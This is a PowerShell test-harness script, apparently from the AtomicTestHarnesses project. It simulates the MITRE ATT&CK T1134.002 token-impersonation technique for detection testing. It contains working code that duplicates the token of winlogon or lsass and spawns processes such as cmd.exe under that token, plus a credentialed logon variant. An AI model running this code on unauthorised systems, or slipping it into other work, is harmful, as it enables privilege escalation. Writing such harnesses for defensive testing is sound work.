Windows/TestHarnesses/T1134.002_CreateProcessWithToken/CreateProcessWithToken.ps1
if (-not ('AtomicTestHarnesses_T1134_002.ProcessNativeMethods' -as [Type])) { $TypeDef = @' using System; using System.Runtime.InteropServices; namespace AtomicTestHarnesses_T1134_002 { [Flags] public enum ProcessAccess { AllAccess = 0x001FFFFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } [Flags] public enum TokenAccess { StandardRequiredRights = 0x000F0000, StandardRead = 0x00020000, TokenAssignPrimary = 0x0001, TokenDuplicate = 0x0002, TokenImpersonate = 0x0004, TokenQuery = 0x0008, TokenQuerySource = 0x0010, TokenAdjustPrivileges = 0x0020, TokenAdjustGroups = 0x0040, TokenAdjustDefault = 0x0080, TokenAdjustSessionId = 0x0100, AllAccess = (StandardRequiredRights | TokenAssignPrimary | TokenDuplicate | TokenImpersonate | TokenQuery | TokenQuerySource | TokenAdjustPrivileges | TokenAdjustGroups | TokenAdjustDefault) } [Flags] public enum CreationFlags { CREATE_NO_WINDOW = 0x08000000 } [Flags] public enum LogonFlags { LOGON_WITH_PROFILE = 0x00000001, LOGON_NETCREDENTIALS_ONLY = 0x00000002 } public enum SECURITY_IMPERSONATION_LEVEL { SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation } [Flags] public enum TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation = 2 } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public class ProcessNativeMethods { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccess processAccess, bool bInheritHandle, int processId); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, TokenAccess DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] public extern static bool DuplicateTokenEx( IntPtr hExistingToken, TokenAccess dwDesiredAccess, IntPtr lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithToken( IntPtr hToken, LogonFlags logonFlags, IntPtr applicationName, string commandline, CreationFlags creationFlags, IntPtr environment, string currentDirectory, [In] ref STARTUPINFOEX startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogon( string lpszUsername, string lpszDomain, string lpszPassword, LogonFlags logonFlags, IntPtr lpApplicationName, string lpCommandLine, CreationFlags creationFlags, IntPtr environment, IntPtr currentDirectory, [In] ref STARTUPINFOEX startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle( IntPtr hHandle); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool RevertToSelf(); } } '@ Add-Type -TypeDefinition $TypeDef } function Invoke-ATHCreateProcessWithToken { <# .SYNOPSIS Test runner for access token manipulation via create process with token. Technique ID: T1134.002 (Create Process with Token) .DESCRIPTION Invoke-ATHCreateProcessWithToken was designed to simulate token impersonation by creating a new primary token via duplication and creating a new process with the new token or by logging in a user and using the newly logged on user's access token. .PARAMETER TargetProcessId Specifies the process id of the target process. This allows the user to choose a process that is running under any security context and attempt impersonation. .PARAMETER ProcessCommandline Specifies the process command-line the user wants to create. .PARAMETER AccessRights Specifies the access rights (QueryLimitedInformation, QueryInformation, AllAccess) the user wants to request when opening a handle to the target process. .PARAMETER Credential Specifies the credential the user wants to pass through to the LogonUser API. .PARAMETER LogonFlag Specifies the logon type for the target user. Options NewCredentials and Interactive are available. .PARAMETER CreateProcessVariant Specifies which Win32 API to use. Either CreateProcessWithToken or CreateProcessWithLogon. .PARAMETER TestGuid Optionally, specify a test GUID value to use to override the generated test GUID behavior. .INPUTS System.Diagnostics.Process Invoke-ATHCreateProcessWithToken accepts the output of Get-Process. Only one Process object should be supplied to Invoke-ATHCreateProcessWithToken. Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process Invoke-ATHCreateProcessWithToken accepts the output of a Win32_Process WMI object via Get-CimInstance. .OUTPUTS PSObject Outputs an object consisting of relevant execution details. The following object properties may be populated: * TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID. * TestSuccess - Will be set to True if it was determined that the technique executed successfully. Invoke-ATHCreateProcessWithToken can identify when impersonation was successful by checking the security context of the current thread and confirming it is different then the original security context. * TestGuid - Specifies the test GUID that was used for the test. * TestCommand - Specifies the command-line arguments used to perform the test. * SourceUser - Specifies the user that the current thread is running under before impersonation was performed. * SourceExecutableFilePath - Specifies the full path of the source executable. If the source executable is specified as a byte array, this property will be empty. * SourceExecutableFileHash - SHA256 hash of the source executable. * ImpersonatedUser - Specifies the user account that is being ran in the current thread after impersonation was performed. * LogonType - Specifies what type of logon session the target user was signed in under. Null if target user wasn't signed in. * SourceProcessId - Specifies the process ID of the process performing impersonation. * GrantedRights - The process rights used to request a handle to the target process. * TargetExecutablePath - Specifies the full path of the target executable. * TargetExecutableFileHash - SHA256 hash of the target executable. * NewProcessExecutablePath - Specifies the full path of the newly created proccess. * NewProcessCommandline - Specifies the process command-line of the newly created process. * NewProcessExecutableHash - SHA256 hash of the new process executable. * NewProcessId - Specifies the process ID of the newly created process. .EXAMPLE Invoke-ATHCreateProcessWithToken .EXAMPLE Get-Process -name lsass | Invoke-ATHCreateProcessWithToken Will perform impersonation by duplicating the lsass.exe token, creating a new primary, then creating a new calc.exe process. .EXAMPLE Invoke-ATHCreateProcessWithToken -AccessRights AllAccess Will perform impersonation by obtaining a handle to the winlogon.exe process with AllAccess as the requested rights, duplicates winlogon token, creating a new primary, then creating a new calc.exe process. .EXAMPLE Get-Process -name lsass | Invoke-ATHCreateProcessWithToken -ProcessCommandline 'C:\Windows\System32\cmd.exe' -AccessRights AllAccess Will perform impersonation by obtaining a handle to the winlogon.exe process with AllAccess as the requested rights, duplicates lsass token, creating a new primary, then creating a new cmd.exe process.. .EXAMPLE Get-Process -name lsass | Invoke-ATHCreateProcessWithToken -CreateProcessVariant WithToken -ProcessCommandline 'C:\Windows\System32\cmd.exe' -AccessRights AllAccess Will perform impersonation by obtaining a handle to the winlogon.exe process with AllAccess as the requested rights, duplicates lsass token, creating a new primary, then creating a new cmd.exe process. .EXAMPLE $cred = Get-Credential Invoke-ATHCreateProcessWithToken -CreateProcessVariant WithLogon -LogonFlag Interactive -Credential $cred Logs in a user with legitimate credentials under an Interactive Logon (Type 2), then impersonates the logged on user. .EXAMPLE $cred = Get-Credential Invoke-ATHCreateProcessWithToken -Credential $cred Logs in a user with legitimate credentials under an Interactive Logon (Type 2), then impersonates the logged on user. .EXAMPLE $cred = Get-Credential Invoke-ATHCreateProcessWithToken -Credential $cred -LogonFlag NewCredentials Logs in a user with legitimate credentials under a NewCredentials Logon (Type 9), then impersonates the logged on user. #> [CmdletBinding()] param ( [Parameter(ValueFromPipelineByPropertyName)] [Int32] [Alias('Id')] #Supports pipelineing with Get-Process [Alias('ProcessId')] #Supports pipelining with Get-CimInstance Win32_Process $TargetProcessId = (Get-Process -Name winlogon)[0].Id, [Parameter()] [string] [ValidateNotNullOrEmpty()] $ProcessCommandline, [Parameter()] [string] [ValidateSet('AllAccess', 'QueryLimitedInformation', 'QueryInformation')] $AccessRights = 'QueryLimitedInformation', [Parameter()] [string] [ValidateSet('WithToken', 'WithLogon')] $CreateProcessVariant = 'WithToken', [Parameter()] [string] [ValidateSet('Interactive', 'NewCredentials')] $LogonFlag = 'Interactive', [Parameter(ValueFromPipelineByPropertyName)] [System.Management.Automation.PSCredential] $Credential, [Guid] $TestGuid = (New-Guid) ) $SourceProcessPath = $null $SourceProcessPath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$PID").Path $SourceUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name if ($ProcessCommandline) { $TargetProcessCommandline = $ProcessCommandline } else { $TargetProcessCommandline = "powershell.exe -nop -Command Write-Host $TestGuid; Start-Sleep -Seconds 2; exit" } $ProcessInfo = New-Object -TypeName AtomicTestHarnesses_T1134_002.PROCESS_INFORMATION $StartupInfo = New-Object -TypeName AtomicTestHarnesses_T1134_002.STARTUPINFO $StartupInfoEx = New-Object -TypeName AtomicTestHarnesses_T1134_002.STARTUPINFOEX $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][AtomicTestHarnesses_T1134_002.STARTUPINFOEX]) $StartupInfoEx.StartupInfo = $StartupInfo $Directory = $PWD.Path if ($Credential -ne $null){ $CreateProcessVariant = 'WithLogon' } if ($CreateProcessVariant -eq 'WithLogon'){ if ($Credential -eq $null){ Write-Error "Must have Credential Flag" return } else{ $Rights = $null $split = $Credential.UserName.Split("\") if ($split.Count -eq 2){ $Domain = $split[0] $AccountName = $split[1] } else { $AccountName = $split[0] $Domain = $env:COMPUTERNAME } $LogonCreds = [System.Net.NetworkCredential]::new("", $Credential.Password).Password if ($LogonFlag -eq 'Interactive') { $LogonFlagName = 'LOGON_WITH_PROFILE' } else { $LogonFlagName = 'LOGON_NETCREDENTIALS_ONLY' } $LogonTypeCount = (Get-CimInstance Win32_LogonSession -Filter 'LogonType = 9' | Measure-Object).Count $Success = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CreateProcessWithLogon( $AccountName, $Domain, $LogonCreds, $LogonFlagName, [IntPtr]::Zero, $TargetProcessCommandline, 'CREATE_NO_WINDOW', [IntPtr]::Zero, [IntPtr]::Zero, [ref] $StartupInfoEx, [ref] $ProcessInfo );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success -eq 0){ Write-Error $LastError return } $NewProcessId = $ProcessInfo.dwProcessId $TargetProcess = Get-WmiObject Win32_Process -Filter "ProcessId=$NewProcessId" | Select Name, @{Name="UserName";Expression={$_.GetOwner().Domain+"\"+$_.GetOwner().User}} if ($LogonFlagName -eq 'LOGON_NETCREDENTIALS_ONLY'){ $LogonTypeCountUpdate = (Get-CimInstance Win32_LogonSession -Filter 'LogonType = 9' | Measure-Object).Count $TargetUser = $Credential.UserName $TestSuccess = $null if($LogonTypeCount -ne $LogonTypeCountUpdate){ $TestSuccess = $true } } else { $TargetUser = $TargetProcess.UserName $TestSuccess = $null if(($null -ne $SourceUser) -and ($null -ne $TargetUser) -and ($SourceUser -ne $TargetUser)){ $TestSuccess = $true } } $TargetExecutablePath = $null $ResolvedTargetProcessId = $null $TestCommand = $MyInvocation $TargetExeHash = $null $ResolvedLogonFlag = $LogonFlag } } else { $IsAdministrator = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") if ($IsAdministrator -eq $False){ Write-Error "Insufficent privileges to perform operation. Please run as Administrator." #The privileges you need to perform CreateProcessWithToken is SeImpersonatePrivilege. Easiest way to obtain this is to be apart of the Administrators group. return } $ProcessHandle = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::OpenProcess( $AccessRights, $False, $TargetProcessId );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($ProcessHandle -eq [IntPtr]::Zero){ Write-Error $LastError return } $TokenHandle = [IntPtr]::Zero $TokenResult = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::OpenProcessToken( $ProcessHandle, 'TokenDuplicate', [Ref] $TokenHandle );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($TokenResult -eq 0){ Write-Error $LastError $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($ProcessHandle) return } $DupToken = [IntPtr]::Zero $DuplicateToken = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::DuplicateTokenEx( $TokenHandle, 'TokenQuery, TokenDuplicate, TokenAssignPrimary, TokenAdjustDefault, TokenAdjustSessionId', [IntPtr]::Zero, 'SecurityImpersonation', 1, # TokenPrimary [ref]$DupToken );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($DuplicateToken -eq 0) { Write-Error $LastError $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($ProcessHandle) $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($TokenHandle) return } $Success = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CreateProcessWithToken( $DupToken, 'LOGON_WITH_PROFILE', [IntPtr]::Zero, $TargetProcessCommandline, 'CREATE_NO_WINDOW', [IntPtr]::Zero, $Directory, [ref] $StartupInfoEx, [ref] $ProcessInfo );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success -eq 0){ Write-Error $LastError $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($ProcessHandle) $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($TokenHandle) $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($DupToken) return } $Rights = $AccessRights #Cleanup $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($ProcessHandle) $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($TokenHandle) $null = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::CloseHandle($DupToken) #Test logic: $NewProcessId = $ProcessInfo.dwProcessId $TargetProcess = Get-WmiObject Win32_Process -Filter "ProcessId=$NewProcessId" | Select Name, @{Name="UserName";Expression={$_.GetOwner().Domain+"\"+$_.GetOwner().User}} $TargetUser = $TargetProcess.UserName $TestSuccess = $null if(($null -ne $SourceUser) -and ($null -ne $TargetUser) -and ($SourceUser -ne $TargetUser)){ $TestSuccess = $true } $TargetExecutablePath = $null $TargetExecutablePath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$TargetProcessId").Path $TestCommand = $MyInvocation #Target Process Hash Logic: $SHA256 = [Security.Cryptography.SHA256]::Create() $ResolvedTargetFilePath = Resolve-Path -Path $TargetExecutablePath -ErrorAction Stop $TargetExeBytes = [IO.File]::ReadAllBytes($ResolvedTargetFilePath.Path) $TargetExeHash = ($SHA256.ComputeHash($TargetExeBytes) | ForEach-Object { $_.ToString('X2') }) -join '' $ResolvedTargetProcessId = $TargetProcessId $ResolvedLogonFlag = $null } $NewProcessExecutablePath = $null $NewProcess = Get-CimInstance -ClassName Win32_Process -Property ExecutablePath, CommandLine -Filter "ProcessId=$NewProcessId" $NewProcessExecutablePath = $NewProcess.ExecutablePath $NewProcessCommandline = $NewProcess.CommandLine Stop-Process -Id $NewProcessId -Force #Source Process Hash Logic: $SHA256 = [Security.Cryptography.SHA256]::Create() $ResolvedSourceFilePath = Resolve-Path -Path $SourceProcessPath -ErrorAction Stop $SourceExeBytes = [IO.File]::ReadAllBytes($ResolvedSourceFilePath.Path) $SourceExeHash = ($SHA256.ComputeHash($SourceExeBytes) | ForEach-Object { $_.ToString('X2') }) -join '' #New Process Hash Logic: $ResolvedNewFilePath = Resolve-Path -Path $NewProcessExecutablePath -ErrorAction Stop $NewExeBytes = [IO.File]::ReadAllBytes($ResolvedNewFilePath.Path) $NewExeHash = ($SHA256.ComputeHash($NewExeBytes) | ForEach-Object { $_.ToString('X2') }) -join '' [PSCustomObject] @{ TechniqueID = 'T1134.002' TestSuccess = $TestSuccess TestGuid = $TestGuid TestCommand = $TestCommand.Line SourceUser = $SourceUser SourceExecutableFilePath = $SourceProcessPath SourceExecutableFileHash = $SourceExeHash SourceProcessId = $PID GrantedRights = $Rights ImpersonatedUser = $TargetUser LogonType = $ResolvedLogonFlag TargetExecutableFilePath = $TargetExecutablePath TargetExecutableFileHash = $TargetExeHash TargetProcessId = $ResolvedTargetProcessId NewProcessExecutablePath = $NewProcessExecutablePath NewProcessCommandline = $NewProcessCommandline NewProcessExecutableHash = $NewExeHash NewProcessId = $NewProcessId } #Cleanup $Revert = [AtomicTestHarnesses_T1134_002.ProcessNativeMethods]::RevertToSelf();$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Revert -eq 0){ Write-Error $LastError return } } |